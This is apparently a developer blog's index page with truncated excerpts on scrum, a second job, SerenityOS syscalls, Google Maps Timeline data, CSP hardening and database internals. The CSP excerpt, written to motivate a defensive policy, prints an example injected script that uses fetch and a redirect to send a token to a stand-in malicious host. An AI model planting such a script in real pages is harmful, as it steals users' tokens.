Koodihommia

I have a provocative claim that people do what they want in a given software organization and then play the game of scrum or some similar established process. A more nuanced way of putting that is that we (developers) are incredibly easy to sidetrack from the commonly agreed "most important TODO items." Sure, we follow the abstract, larger vision of a given product, but the more granular the level, the more variance there is in people following the predetermined issue list. When it is written or said out, all that does not seem that provocative. It is actually written in agile process documentation, but not in those words. Agile process talks about "requirement volatility" which can be seen as a similar thing I am talking about. Given most employees do what they want, how do organizations keep on top of that? Now, for what might seem like a continuation of stating the obvious: meetings and issue trackers are vital tools for monitoring team activities. Motivated indi

I've taken a hiatus from blogging for the past few months, partially due to laziness but mainly due to the start of my second job. Why take on more work? As a well-compensated developer, I could live comfortably on a single income, could I? Money was not the prime mover but rather the personal development path. Although I can tinker with cool technologies with professional colleagues in my day job, I can't shake the feeling that I may have become too comfortable. There's nothing inherently wrong with being in a comfortable position, but that's not where I'm meant to be right now. I am well aware of the dangers of taking on more work with deadlines, meetings, and time pressures—the typical catalysts of burnout. Therefore, I must let go of some responsibilities. Writing brings me joy, but the preparation involved in preparing technical blog posts (admittedly, there have been few recently) can overheat my mental engine. I'm not advocating for or against voluntaril

I gave a presentation about SerenityOS, and system calls at a local tech meetup last week. It took about 20 hours to prepare for the presentation. The original plan was to discuss also subjects other than system calls, but I quickly realized I ought to shave off most of those. KISS, you know, better to focus on one thing.  I needed to dive deep into the nitty-gritty details of how system calls work in Linux. I had to spend some time refreshing my memory by re-reading the Linux Insides book , just to make sure I got the comparison right between SerenityOS syscalls and Linux kernel syscalls. I took a good look at the sysinfo system call Linux kernel code and peeked at its syscall table. It was some intense stuff! When I started preparing the presentation, Serenity still supported i686 (32-bit Intel) CPU architecture and the system calls used the interrupt-based invocation. That changed just in time for my talk, which was fantastic for my presentation since fast system calls are easier t

I took an export of my Google Maps Timeline data and discovered it to be a treasure trove of information. I was initially only interested in seeing how often I visit the local boulder gym, but I found myself soon digging into more such details. The data consist of activities and place visits. An activity looks like this: You can peek through the internals in a way since you can see which options for a given activity Google algorithms have considered. A place visit, on the other hand, is: As you can see, the data contains not just the place you can see from Maps you have visited but actually the metadata and the confidence scores of where Google thinks you have been. Using the dataset, it is pretty easy to find out which locations you have visited and how long you have stayed. I co-authored with ChatGPT this simple script that outputs how many hours and times you have visited a given place.

Many blog posts and articles explain which types of attacks the same-origin policy guards against (term usually mixed with CORS). The tl;dr version is that it offers limited protection and is no silver bullet. I'm not going into all the details here, but I find myself writing a blog post to remind me how to harden client-side web applications.  You actually need to spend time configuring the Content Security Policy. It offers an added layer of protection but is quite a pain to get right.  Here is an example. Say you have a vulnerability in your web application that allows arbitrary script execution. The attacker manages to embed this script into your frontend. <script> fetch('https://mailicioussite.somewhere/?yourtoken=token'); window.location.href = 'https://mailicioussite.somewhere/?yourtoken=token'); </script> The same-origin policy does not help since the GET request goes through to the malicious site. A decent CSP policy could prevent both the fetc

I was at a LIVE tech conference last week! The keynote was about learning through tinkering. The talk had a chapter that resonated with me quite profoundly: the zone of proximal development . Essentially, it means a student can only learn something "around" a given subject if the topic is familiar to them. As I've written here a few times, one of the pieces of technology close to my heart is Postgres (and RDMSs in general). I know the basics + some more and can tune some common knobs. Having said that, database internals present a fascinating mystery. I don't understand how they work under the hood - not even close.  I believe that delving into the details and getting hands-on experience can take my understanding to a whole new level. This is the essence of the zone of proximal development - learning by doing and pushing the boundaries of what we already know. I stumbled upon the Carnegie Mellon university database lecture series in some of the investigatory rabbit